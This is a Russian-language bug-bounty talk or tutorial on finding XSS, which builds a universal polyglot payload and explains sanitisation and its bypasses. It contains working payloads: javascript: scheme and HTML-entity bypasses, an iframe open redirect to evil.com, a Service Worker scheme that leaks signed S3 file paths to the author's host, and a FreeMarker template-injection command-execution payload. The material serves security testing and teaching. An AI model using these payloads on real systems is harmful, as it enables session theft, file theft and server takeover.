August 22, 2021

Эффективный поиск XSS-уязвимостей

Что такое XSS

XSS (Cross-Site Scripting) — возможность выполнения произвольного JavaScript-кода в браузере жертвы в контексте вашего сайта.

Вспомним, как вызывается JavaScript из HTML:

<script>…</script> — всё, что внутри, будет срендерено браузером как JavaScript.

<img onerror="…" src="x">test</a> — можно использовать обработчики событий, то есть атрибут, например, onerror. Браузер попробует подгрузить картинку по источнику x. Если картинка не прогрузится, он выполнит то, что указано в обработчике событий.

<a href="javascript:…">click to trigger javascript</a> — если гиперссылка ведет не на схему HTTP/HTTPS, а начинается со схемы JavaScript, то при нажатии на ссылку всё, что после схемы JavaScript, будет срендерено как JavaScript.

<iframe src="javascript:…"> — то же самое, что и с гиперссылкой, только ничего не надо кликать, сработает при прогрузке.

XSS — одна из самых распространенных уязвимостей в вебе. К XSS уязвимо более 95% веб-приложений. Чтобы найти баг, не обязательно обладать специальными навыками, проходить курсы или получать высшее образование.

И действительно, несмотря на то, что XSS — распространенная уязвимость, она остается одной из самых серьезных клиентских уязвимостей.

Причины возникновения XSS

Во-первых, XSS возникает при генерации HTML-страницы, когда разработчику нужно поместить туда указанные пользователем данные (ФИО, организация). Если разработчик записал данные в БД, затем тянет ее в HTML-шаблон, то это stored (сохраненный) XSS.

Разработчику могут понадобиться параметры из URL или тела запроса. Такой тип XSS называется reflected.

Причин XSS куча, потому что есть динамические изменения страницы с помощью JS, есть события, которые постоянно происходят на клиентской стороне с JS.

Но в этом докладе я расскажу про самые распространенные типы — stored XSS и reflected XSS.

Возьмем пример — обычная страница ВКонтакте. О чем подумает человек, который хочет найти XSS-уязвимости?

Во-первых, он обратит внимание на то, что есть поля, можно куда-то зарегистрироваться и что-то ввести.

Попробуем ввести туда честные данные, но при этом добавим к ним <script></script>. Он нужен для вызова JavaScript между открывающим и закрывающим тегами.

Что произойдет в этом случае?

Мы, как пользователь, который хочет зарегистрироваться во ВКонтакте, заливаем ему наши проверочные строки. Дальше разработчик сохраняет их в базу данных, и с этими данными ему надо работать. Нужно показывать их пользователю на его странице, в личных сообщениях и много где еще. Дальше данные попадают пользователю в браузер, когда они возвращаются ему обратно.

Допустим, разработчик не подумал, что в качестве имени пользователя могут быть не только честные данные, а еще и HTML-теги, которые встраиваются в оригинальный HTML-шаблон. Браузеру пофиг, он рендерит все, что ему сказал разработчик, поэтому рендерится и строка.

Оно могло бы выстрелить где-нибудь здесь:

Конечно, во ВКонтакте такой уязвимости нет. Но, так как эта страница является публично доступной, любой в интернете может на нее зайти, то это была бы довольно серьезная уязвимость.

Но вообще мы, как тестировщики, которые ищут XSS-уязвимости, чаще всего делаем это блэкбоксом. Мы не знаем, что происходит на сервере, какая база данных там используется, делает ли разработчик что-то с этими данными. Всё, что у нас есть, — это поле, куда мы можем что-то ввести, и какие-то страницы, куда это потом возвращается.

Методология поиска XSS, которую я сейчас вам покажу, основана как раз на том, что мы не знаем, какие процессы происходят на сервере.

XSS-методология

  1. Помещаем пейлоад (проверочную строку, призванную выявлять уязвимости) во все поля и параметры.
  2. Смотрим в DOM на предмет санитизации.
  3. Рано или поздно спецсимволы не перекодируются, или выполнится функция alert.
  4. Раскручиваем дальше или репортим, как есть.

Еще один пример — страница поиска. В поле поиска попробуем ввести «qweqwe».

Поищем это в DOM:

F12 -> Ctrl +F -> “qweqwe”

Мы видим, что строка «qweqwe» попала из поля для поисков в параметр query. И она попала в страницу 17 раз. То есть у нас есть 17 потенциальных мест, где разработчик может не подумать о выводе этой строки пользователю в браузер, и может возникнуть XSS-уязвимость.

Конечно, «qweqwe» недостаточно, чтобы выявить XSS-уязвимость, мы добавим туда спецсимволы:

Input: qweqwe ' " > <

Посмотрим, что выведется в DOM:

Спецсимволы превратились в закодированный кусок символов. Это уже сигнализирует, что есть санитизация, возможно, неосознанная.

Но в девятом месте, где наша строка встраивается в DOM, спецсимволы на первый взгляд не перекодировались, то есть они отображаются здесь как есть.

Но если мы попробуем отредактировать это как HTML, то увидим, что двойная кавычка превратилась в &quot.

Это называется HTML entities. Особенность использования браузером этой кодировки заключается в том, что браузер рисует соответствующий символ на странице, но HTML-теги, состоящие из этих символов, не рендерятся браузером как код:

‘ — &apos;
“ — &quot;
> — &gt;
< — &lt;
& — &amp

Это выглядит вот так:

Слева у нас HTML-код, который должен отрендерить браузер, но он просто показывает его как строку.

Санитизация — преобразование определенных символов пользовательской строки в соответствующие HTML entities или другую кодировку.

Другими словами, у нас есть набор потенциально опасных символов, которые мы хотим санитизировать. Мы хотим их превратить в HTML entities, чтобы они не встраивались в наш изначальный шаблон, который мы хотим исполнять на пользователя, и нельзя было протолкнуть чужой JS.

Вернемся к этому примеру. Двойная кавычка заинкодилась в &quot, получается, санитизация есть.

А если бы не было? Мы попробуем ввести ‘ “ test, и поищем по строке «qweqwe»:

Input: qweqwe ' " test

F12 -> Ctrl +F -> “qweqwe”

Что мы увидим?

Мы увидим, что test начал подсвечиваться коричневым. Браузеры помогают нам: они подсвечивают атрибуты, значения атрибутов и названия тегов разными цветами. Атрибуты всегда коричневые, имена тегов — розовые, значения параметров — синие.

Если бы вся строка была синяя, мы могли бы сразу понять, что она попала внутрь значения атрибута, и можно было бы сделать вывод, что XSS нет.

Но здесь предположим, что она есть, и у нас записался атрибут test. И если мы вместо этого атрибута используем обработчик событий, например:

Input: qweqwe ' " onfocus='alert()' autofocus

Получаем reflected XSS:

Это сложно, поэтому я предложу решение в виде универсального пейлоада — это строка, которая должна выявлять XSS в разных контекстах и которая не требует дополнительного раскручивания в таких местах.

XSS – Level 0

Начнем с самой простой строки, на которую натыкались все, кто когда-то интересовался тестированием безопасности:

<script>alert()</script>

Посмотрим на примере языка PHP, когда я как разработчик хочу выводить пользователю HTML-код и подтягиваю туда значение параметра, в нашем случае — name:

<p>
Привет, <?php echo($_GET["name"]); ?>!
</p>

Функция echo() в PHP не делает санитизацию, она выводит всё как есть. То есть это типичная reflected XSS-уязвимость. И если мы поместим в параметр name на этой странице наш текущий пейлоад, он срендерится браузером, потому что никакой санитизации нет. Он встраивается как есть, браузер не отличает пользовательскую строку от оригинальной и рендерит.

/page.php?name=<script>alert()</script>

<p>
Привет, <script>alert()</script>!
</p>

То же самое, если разработчик не берет параметр из URL, а берет из базы данных данные, которые когда-то вводил пользователь:

<p>
Привет, <?php $sql=…; echo($sql); ?>!
</p>

<p>
Привет, Вася<script>alert()</script>!
</p>

Вот пример посложнее:

<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">
</form>

Что, если мне надо брать значение параметра и отображать его внутри значения атрибута? Как меня могут хакнуть в этом случае?

<form action="page.php" method="POST">
<input name="name" value="<script>alert()</script>">
</form>

Если мы поместим туда наш <script>alert()</script>, разумеется, это не сработает. Даже если нет санитизации и вставка небезопасна, то <script>alert()</script> просто не выявит эту XSS-уязвимость, потому что нужно закрыть атрибут.

Мы закроем не только атрибут, но еще и тег <input>, куда мы попали, и встроим свой <script>alert()</script>, который отрендерится браузером:

/page.php?name="><script>alert()</script>

<form action="page.php" method="POST">
<input name="name" value=""><script>alert()</script>">
</form>

И раз мы знаем, что есть кейсы, когда мы можем попасть внутрь значения атрибута, почему бы нам сразу не добавить "> в пейлоад?

XSS — Level 1

А если мне надо подставить пользовательское значение внутрь <title>? Подставим туда наш текущий пейлоад:

<html>
<head>
      <title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>

Это не сработает, потому что тег <title> нужен браузеру, чтобы отображать имя текущей вкладки. Браузер думает, что раз это всего лишь название вкладки, ему незачем рендерить значение этого тега, и он просто будет рендерить всё как текст.

Здесь нужно добавить </title> перед нашим вредоносным <script>alert()</script>.

/page.php?name="></title><script>alert()</script>

<html>
       <head>
              <title>Привет,"></title><script>alert()</script>
              </title>
        </head>
        <body>
        </body>
</html>

Таким образом мы закроем оригинальный <title>.

Раз мы знаем, что разработчик может подтянуть наши значения еще и внутрь тега <title>, почему бы сразу не добавить его в пейлоад и не вставлять этот пейлоад везде? Так мы попадаем сразу в несколько ситуаций.

Вроде звучит здорово, но если мы попали внутрь тега <script>:

<script>
var name="<?php echo($_GET["name"]); ?>";
</script>

Разработчик написал JavaScript, внедрил его у себя на страницу, но какую-то переменную берет из пользовательского значения. Поместим туда наш текущий пейлоад:

/page.php?name="></title><script>alert()</script>

<script>
var name=""></title><script>alert()</script>";
</script>

Всё не отработает до момента, когда мы закрыли </script>.

Здесь все тоже достаточно тривиально, просто закрываем тег разработчика <script>:

/page.php?name="></script></title><script>alert()</script>

<script>
var name=""></script></title><script>alert()</script>";
</script>

Я не буду дальше мучить вас каждым таким тегом.

На самом деле, надо закрывать еще и </style>, и </noscript>, и </textarea>, значения которых рендерятся браузером как строка.

XSS — Level 2

Помните, мы попадали внутрь значения атрибута, закрывали его, открывали <script>alert()</script>, чтобы выполнить функцию alert (), и мы использовали там двойную кавычку:

<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">
</form>

А мог ли разработчик обособлять все одинарными кавычками? Браузер это принимает, это вполне нормальное поведение. И если бы мы поместили туда наш текущий пейлоад, разумеется, он бы не сработал: он бы не обнаружил эту XSS-уязвимость, потому что мы закрываем двойную кавычку.

/page.php?name="></script></title><script>alert()</script>

<form action='page.php' method='POST'>
<input name='name' value='"></title></script><script>alert()</script>'>
</form>

Здесь тоже все просто: достаточно добавить одинарную кавычку перед двойной, и мы закроем и этот кейс.

<?php $a = str_replace('>', '&gt;', $_GET["name"]); ?>

<form action='page.php' method='POST'>
<input name='name' value='<?php echo($a) ?>'>!
</form>

А вот если разработчик подумал: «Я допускаю, что пользователь может использовать кавычки, но главное, что он не закрывает мой <input> и не открывает теги вроде <script>alert()</script>. Тогда я буду просто энкодить закрывающую угловую скобку, чтобы он не смог закрыть мой <input>».

Но если мы действительно попробуем закрыть <input> и открыть <script>alert()</script>, то ничего не сработает:

/page.php?name='><script>alert()</script>

<form action='page.php' method='POST'>
<input name='name' value=''&gt;<script&gt;alert()</script&gt;'>!
</form>

Здесь достаточно использовать обработчики событий:

/page.php?name='%20autofocus%20onfocus='alert();

<form action='page.php' method='POST'>
<input name='name' value='' autofocus onfocus='alert();'>!
</form>

Возможность писать свои атрибуты уже дает нам гарантированную XSS-уязвимость.

Когда мы попадали внутрь <script>, то закрывали его, открывали свой <script> и делали что-то внутри. А могли бы мы продолжить писать JS внутри JS, который написал разработчик? То есть продолжить его код, стараясь не вызвать синтаксическую ошибку. Да, могли бы:

/page.php?name=";+alert();//

<script>
var name=""; alert();//";
</script>

Есть еще случай, когда разработчику надо подставлять параметры внутрь гиперссылки:

<a href="<?php echo($_GET["returnUrl"]); ?>">Вернуться</a>

Цель — редиректнуть пользователя туда, откуда он пришел. Например, пользователь пришел в приложение. Оно редиректит его на аутентификационный поддомен, и когда он аутентифицировался, этот поддомен должен редиректнуть его обратно в приложение.

Можно вызывать JS в гиперссылках, в том числе при редиректах, если использовать схему JS:

/page.php?returnUrl=javascript:alert()

<a href="javascript:alert()">Вернуться</a>

При нажатии на «Вернуться» сработает функция alert().

Если поставить перед javascript пробел, то это тоже сработает:

/page.php?returnUrl=%20javascript:alert()

<a href=" javascript:alert()">Вернуться</a>

Сработает не только %20 (пробел), но и %09 (табуляция).

Я покажу в качестве примера XSS, который я нашел на поддомене Mail.ru, — biz.mail.ru.

У них было приложение. Если вы получали на странице ошибку 500, вас редиректит на страницу с ошибкой 500 и кнопкой «Обновить». При этом передается параметр from. Это нужно затем, чтобы, когда пользователь перешел на страницу с ошибкой, он мог нажать кнопку «Обновить» и вернуться туда, где у него возникла ошибка (вдруг она была единичная).

Там передавался полный путь до страницы, и я попробовал вписать туда javascript:alert(). Но если строка начинается со слова javascript, то туда просто подставляется дефолтное значение HTTPS без mail.ru.

Но если поставить пробел (%20) перед словом javascript, регулярка Mail.ru не обрабатывает этот случай и, вполне возможно, выполняет произвольный JavaScript-код на поддомене Mail.ru.

Сценарий атаки: я бы просто скинул ссылку на эту ошибку 500 другому пользователю. И если бы он нажал кнопку «Обновить», у него бы сработал JS, который я захотел.

Подумаем, как разработчик вообще мог починить такую уязвимость. В случае с XSS мы можем просто санитизировать пользовательские специальные символы. Но в случае со схемой JavaScript это не сработает, потому что здесь немного другие символы.

Разработчик может подумать: «А что, если я буду требовать формат URL в том же параметре from

protocol://host:port/...

Используя синтаксис JavaScript, можно сделать пейлоад, который выглядит как URL, но также вызывает функцию alert() при нажатии:

<a href="javascript://qwe.com/%0aalert()">Вернуться</a>

Мы вызываем single line comment, комментим всё до переноса строки, переносим строку и выполняем наш alert(). Можно сконструировать такой пейлоад.

А это сработает, если запретить слово javascript в URL?

Как нам уже известно про HTML entity, браузер в некоторых местах использует эту кодировку неоднозначно. Если слово javascript: заэнкожено в HTML entity, при нажатии на эту ссылку браузер всё равно поймет, что HTML entity — это схема JavaScript, её тоже можно использовать.

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x7
0;&#x74;&colon;//qwe.com/%0aalert()">Вернуться</a>

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&colon; = javascript:

Таким образом мы обойдем защиту, если бы она была.

Единственный правильный способ здесь — это требовать, чтобы ссылка начиналась на http(s) или была относительной.

XSS — Level 3

Наш пейлоад довольно большой и попадает в несколько кейсов:

'"></title></script><script>alert()</script>

Мне не нравится, что мы вроде делаем крутой пейлоад, а используем <script>alert()</script> — самую нубскую вещь, которую можно найти в начале поиска XSS-уязвимостей.

Я предлагаю использовать iframe с обработчиком событий:

'"></title></script><iframe onload='alert``'>

<iframe> — тег для отображения страницы внутри страницы. Допустим, вы находитесь на каком-нибудь сайте и, если сайт хочет подгрузить в себя еще один сайт, то разработчик использует этот тег. Также там есть атрибут src — адрес до сайта, который он хочет показать у себя. И независимо от того, прогрузился путь или нет, onload будет работать всегда.

Плюсы iframe:

  • Легко заметить, если пейлоад встраивается в страницу, но на onload работают санитайзеры.
  • Есть волшебный аттрибут srcdoc:

<iframe srcdoc="&#x3C;script&#x3E;alert()&#x3C;/script&#x3E;">

Разработчики используют iframe на всяких форумах, дают возможность пользователю помещать его на сайт, но если они не подумали про этот атрибут, то возможно выполнение произвольного JS.

Здесь в качестве значения атрибута srcdoc используется просто HTML entity:

  • Не раскрутить XSS — есть почти гарантированный open redirect.

Если у вас не получилось раскрутить XSS, например, разработчик решил, что хочет разрешить встраивать пользовательский iframe, но без обработчиков событий и без srcdoc, то у нас всё равно есть уязвимость другого типа — open redirect, пейлоад которого выглядит так:

<iframe src="https://avtohanter.ru/toplevel.html">

У нас есть iframe, его src указан на другую страницу в интернете, подконтрольную злоумышленнику. Содержимое этой страницы довольно простое — всего лишь скрипт, который задает top.window.location на другую страницу.

И если браузер срендерит это на каком-то сайте, произойдет редирект на https://evil.com.

У браузера есть иерархия окон, есть окно верхнего уровня и промежуточные окна. И iframe, который подгружается внутри сайта, является промежуточным окном, но при этом он может влиять на окно верхнего уровня. Он может переписать его top.window.location, и возникает уязвимость open redirect.

Лечится это атрибутом sandbox, но никто об этом не задумывается. Если есть разрешение устраивать пользовательский iframe, то таким пейлоадом можно редиректить других пользователей куда угодно.

XSS — Level 1337

Перейдем на суперхакерский уровень XSS-уязвимостей:

  • Пробелы между атрибутами в теге могут замениться слэшем. Тег необязательно закрывать!

<iframe/onload='alert()'

  • Браузеры закрывают теги за разработчиков.

Таким образом, исходя из этих двух фактов, мы можем прийти от такого пейлоада:

'"></title></script><iframe onload='alert``'>

К такому:

'"></title/</script/</style/><iframe/onload='alert``'

Поменяли все пробелы на слэш и убрали закрывающую скобку у iframe. Есть кейс, когда пейлоад попадает внутрь комментария (<!-- ... -->), нужно сразу закрыть его.

'"></title/</script/</style/--><iframe/onload='alert``'

Покажу еще один пример из Bug Bounty, он из приватной программы. Это XSS-уязвимость в личных сообщениях. Разработчики обрезали всё, что подходит под паттерн "<…>", чтобы защититься от XSS-уязвимостей. Если пошлем закрытый тег, он обрежется:

Однако, если мы пошлем незакрытый тег, то он отрендерится:

Фреймворки

Также есть разные фреймворки, например, клиентские AngularJS и VueJS.

Здесь тоже есть специфический пейлоад:

{{7*7}} --> 49

Если это посчиталось на клиентской стороне и превратилось в 49, то здесь тоже возможна XSS-уязвимость. Нужно использовать constructor.constructor и вызвать alert:

Пейлоад, конечно, зависит от версии AngularJS, поэтому нужно чекнуть версию и подобрать пейлоад из списка.

Как и в случае с прошлыми примерами HTML entity, для AngularJS не имеет значения, используются ли фигурные скобки или HTML entities. Если разработчик подумал: «Я использую AngularJS или VueJS и не хочу, чтобы мне вставляли фигурные скобки, буду их обрезать», то достаточно поместить HTML entity-представление, и браузер уже срендерит это как надо.

{{7*7}} -> 49

У VueJS пейлоад тот же самый.

Вот такой пейлоад получился:

'"/test/></title/</script/</style/-->{{7*7}}<iframe/onload='alert``'<!--

</title/</script/</style/</noscript/-->… — ситуативно

'"/test/ — если можем записать свой атрибут (onerror, onmouseover, …)

{{7*7}} — AngularJS, VueJS

Этот пейлоад не покрывает случаи, когда мы попали внутрь тега <script>alert()</script>, и нам нужно не закрыть этот тег, а продолжать писать валидный JS (то есть без синтаксических ошибок). Если вы попали в функцию внутри функции внутри объекта, то вам нужно закрыть определенное количество фигурных скобок, нужно смотреть контекст. Универсального решения нет.

Но ведь есть много полиглот-пейлоадов. В чем отличия?

  • размер строки меньше, т. к. не предусматривает попадания туда, где нужно использовать схему JavaScript (ссылки);
  • включает проверку AngularJS, VueJS;
  • расширенное покрытие случаев с записью атрибутов.

Обычные полиглот-пейлоады используют onload='alert()', но у многих элементов нет такого события. В моем это:

'"/test/></title/</script/</style/-->{{7*7}}<iframe/onload='alert``'<!--

Если такой пейлоад небезопасно встроится в значение атрибута какого-то тега, то мы сможем выйти из значения атрибута и записать свой атрибут test.

Что это нам даст? JS-то вызовем, потому что мы знаем, что нам достаточно этого для вызова JS, но сразу мы этого не увидим. Поэтому я предлагаю добавлять такой код на каждую страницу, где вы ходите, через расширение:

if(document.querySelectorAll('*[test]').length>0){
prompt('XSS');
}

Дальше идем в DOM и смотрим, в какой элемент мы попали.

Пример:

Если мы выполним код, то получаем 1. Соответственно, если какой-то тег уязвим и мы записали туда свой атрибут, то можно дальше раскрутить это. Мы можем вместо test использовать onload или onmouseover, в зависимости от того, что поддерживает этот тег.

Можно внедрить этот код через расширение для браузера.

Почему XSS опасны?

У JS в браузере по умолчанию есть доступ к пользовательскому контенту:

DOM — это место, где JS может изменять HTML на стороне пользователя. JS может видеть через DOM всё, что вы видите у себя в интерфейсе в веб-приложениях.

Также у него есть доступ к LocalStorage и SessionStorage. Если разработчик хранит там сессионный ключ или другие данные для аутентификации, то JS легко может взять и потом послать его на другой вредоносный сервер.

Ни для кого не секрет, что куки — один из самых распространенных способов аутентификации в веб-приложениях. И у JS есть доступ к любым HTTP-ответам с этого же Origin. То есть, получив инъекцию в какой-то одной странице, мы можем вызвать любую другую страницу, на которой содержится чувствительная информация.

Например, сделаем запрос к странице b, где у нас есть API-ключи, и попросим вывести ответ:

Вместо страницы b могли быть данные для аутентификации или другие чувствительные данные.

JS может взаимодействовать с установленными программами и расширениями.

У JS есть экспериментальные технологии (Service Workers, Push API, ...).

Безопасно ли, что у JS есть столько доступа ко всему?

Существует много вопросов, связанных с безопасностью. Разработчики браузера используют Origin для разграничения доступа JS между разными сайтами.

Origin = protocol + hostname + port

Также у браузеров есть Same-Origin-Policy (SOP) — фундаментальная защита, на которой основывается безопасность в вебе.

JS, выполняемый на одном Origin, не может получить доступ к содержимому другого Origin.

Можно сделать вывод, что XSS на одном Origin не опасен для другого Origin. У нас есть какой-нибудь поддомен, где можно выполнять пользовательский JS, потому что там не хостится ничего серьезного.

Но не всегда, потому что есть легальные обходы SOP. Разработчикам необходимо связываться с другими сайтами на клиенте, ходить на другие сайты, читать ответы, что-то туда посылать и что-то динамически обновлять. Они используют для этого CORS, WebSocket, PostMessage, JSONP, Flash.

Куки, поставленные на одном порту, можно прочитать на любом другом порту.

Есть экспериментальные фичи JS, которые иногда тоже несут угрозу для SOP. Иногда это приводит к неожиданным результатам.

Я приведу приватный пример из Bug Bounty — XSS в S3-бакете, позволяющий красть чужие файлы.

Контекст этого веб-приложения: это CRM, где можно заводить сделки с потенциальными клиентами и заполнять информацию о них, в том числе загружать файлы.

Я подумал: «Что будет, если загрузить HTML-страницу?»

Обычная страница, где я хочу посмотреть, на каком домене она выполняется. И она успешно загружается.

После открытия страницы сначала кажется, что XSS находится не в приложении, а в S3-бакете.

Они берут файл пользователя, кладут у себя в бакет, и дальше, когда пользователь хочет получить доступ к файлу, он делает это в приложении, но приложение редиректит его в S3-бакет, где хостится этот файл.

При попытке открыть файл на сервере генерируется подпись запроса, по которой файл будет доступен какое-то время. Нельзя просто так получить файл, надо, чтобы запрос был подписан. Это происходит на серверной стороне приложения, когда вы загрузили этот файл и хотите его открыть. На сервере происходит генерация подписи, и приложение редиректит пользователя на файл в S3-бакете, где эта подпись уже включена в запрос. По этой подписи файл будет доступен какое-то время.

Очевидно, что JS выполняется на другом Origin, потому что S3-бакет – поддомен Amazon, он не имеет никакого влияния на другой домен, на котором хостится основное приложение.

На первый взгляд, XSS бесполезны, но существуют следующие факторы:

  • возможность загрузить любой файл;
  • возможность выполнять произвольный JavaScript;
  • все файлы, в том числе других пользователей, кладутся в одну и ту же папку (например, в корень);
  • ссылкой на загруженный файл можно поделиться с кем угодно.

Эти факторы позволяют красть чужие файлы через перезапись ответа Service Worker. Для этого нужно создать и загрузить serviceworker.js:

Навешиваемся на событие fetch, переписываем ответ сервера на код iframe src и говорим, что тип ответа — text/html. Каждый запрос пользователя будет возвращать одинаковый ответ благодаря этому Service Worker.

Также загрузим exploit.html:

Это страница, которая нужна для эксплуатации этого Service Worker. Регистрируем его, указывая путь до него с подписями, потому что мы хостим этот serviceworker.js в этом же S3-бакете. И говорим, что скоуп — корень.

Что произойдет, если кто-то откроет exploit.html:

  • В браузере зарегистрируется Service Worker
  • При открытии любой страницы этого сайта, начиная от директории с serviceworker.js, ответ перепишется на:

<iframe src="https://avtohanter.ru/ref?x=">

  • В заголовке Referer браузер передаст путь, на котором сработал Service Worker.

От лица жертвы это будет выглядеть так:

Я пошлю фишинговое письмо с короткой ссылкой на свой exploit.html-файл. Зарегистрирую у пользователя Service Worker. Дальше, если этот пользователь захочет открыть файл у себя в организации, ответ перепишется на iframe, который ведет на мой сайт.

И я получу примерно такой запрос:

В Referer будет полный путь до файла, где пользователь захотел открыть свой файл. У меня есть полный путь с подписями, поэтому я могу открыть его, и это дает мне полный доступ к этому файлу в дальнейшем.

Бонус

Мало кто задумывается, что письма — это HTML-код. Например, есть такое письмо от Trello:

В письмо тоже подтягиваются пользовательские значения, возможно, там есть XSS. Но письма мы смотрим в почтовых клиентах (обычно Mail.ru, Яндекс) и, разумеется, XSS в письме ведет к XSS в почтовом клиенте, а это уже другой скоуп, который никак не влияет на организацию, которая послала это письмо.

Но здесь тоже есть XSS-уязвимость, она называется Email template's HTML injection. Вместо вызова JS мы встраиваемся в HTML-шаблон, который прислала нам компания.

Пейлоад выглядит так:

--></script><a href="//qwe.com">qwe</a><img src=x>${7*7}{{7*7}}<!--

49 = SSTI*

*SSTI – https://portswigger.net/blog/server-side-template-injection

Примерно как пейлоад для поиска XSS, но здесь мы не вызываем функцию JS, а встраиваем наши HTML-теги в шаблон письма. Также здесь есть ${77}{{77}}, как для AngularJS, только AngularJS рендерится на клиентской стороне, а этот пейлоад призван проверять возможность рендера клиентского значения через шаблонизаторы.

Пример уязвимого шаблона:

На первый взгляд — обычное письмо. Но если посмотреть на тему, то можно увидеть, что там есть HTML-теги, гиперссылка и HTML-коммент.

Идея в том, что мы добавляем нашу вредоносную гиперссылку, комментим оригинальное письмо и отправляем это письмо кому угодно.

Так как мы можем контролировать гиперссылку и контекст, мы можем зафишить кого-то невнимательного, потому что ссылка будет вести на левый сайт.

Недавно мне пришло такое письмо:

Кто-то пытался эксплуатировать абсолютно то же самое: приглашали присоединиться к организации. Разумеется, это фишинг.

Если ${7*7} -> 49 считается не на клиентской стороне, а на серверной, то это будет уязвимость, которая называется SSTI (Server Side Template Injection). Ее суть в том, что разработчики используют какие-то шаблонизаторы, потом они через эти шаблонизаторы прогоняют свои HTML-шаблоны и, если там есть что-то похожее на template expression language, они это рендерят.

Я покажу еще один пример из Bug Bounty. Это был RCE (remote code execution) через инъекцию шаблона во FreeMarker.

Это приложение позволяет создавать свои события, свою кампанию отсылки имейлов.

Имейлы здесь кастомные. Предоставляем HTML, который нужно разослать. Уязвимость была уже в том, что можно послать любой HTML с официального адреса этой компании кому угодно.

Но была еще более серьезная уязвимость. Она заключалась в том, что, если загрузить туда ${77} или #{77}, при превью этого шаблона у нас выведется 49:

Путем недолгих ковыряний я понял, что используется шаблон FreeMarker. А у шаблонизаторов FreeMarker есть такие штуки:

[#assign cmd = 'freemarker.template.utility.Execute'?new()]
${cmd('id')}

Достаточно вызвать, использовать его и передать ему в качестве параметра какую-то shell-команду, например, id.

И действительно показывает, что root:

Выводы

Если вы разрабатываете приложение, работаете над архитектурой приложения, то всегда надо иметь в виду, что интернет — это небезопасное место.

Нужно всегда помнить, что нельзя доверять пользовательскому вводу. Рассматривайте место, где пользователь вам что-то посылает, как потенциально вредоносное.

Нужно проверять свое приложение, потому что даже самый внимательный разработчик все равно когда-то ошибется, допустит у себя уязвимость, и проверка необходима — чем чаще, тем лучше.

Используйте универсальный пейлоад, помещайте его во все поля, в каждый input. Рано или поздно это сработает, потом уже научитесь раскручивать, успешно находить еще больше XSS, может быть, придумаете свои векторы атаки.

В любом приложении всегда есть уязвимости, в том числе XSS. Если вы ищете баги безопасности, вы не можете быть уверены, что их там нет. Возможно, вы просто не можете их найти, но они там есть. Используя такое убеждение, можно найти еще больше багов.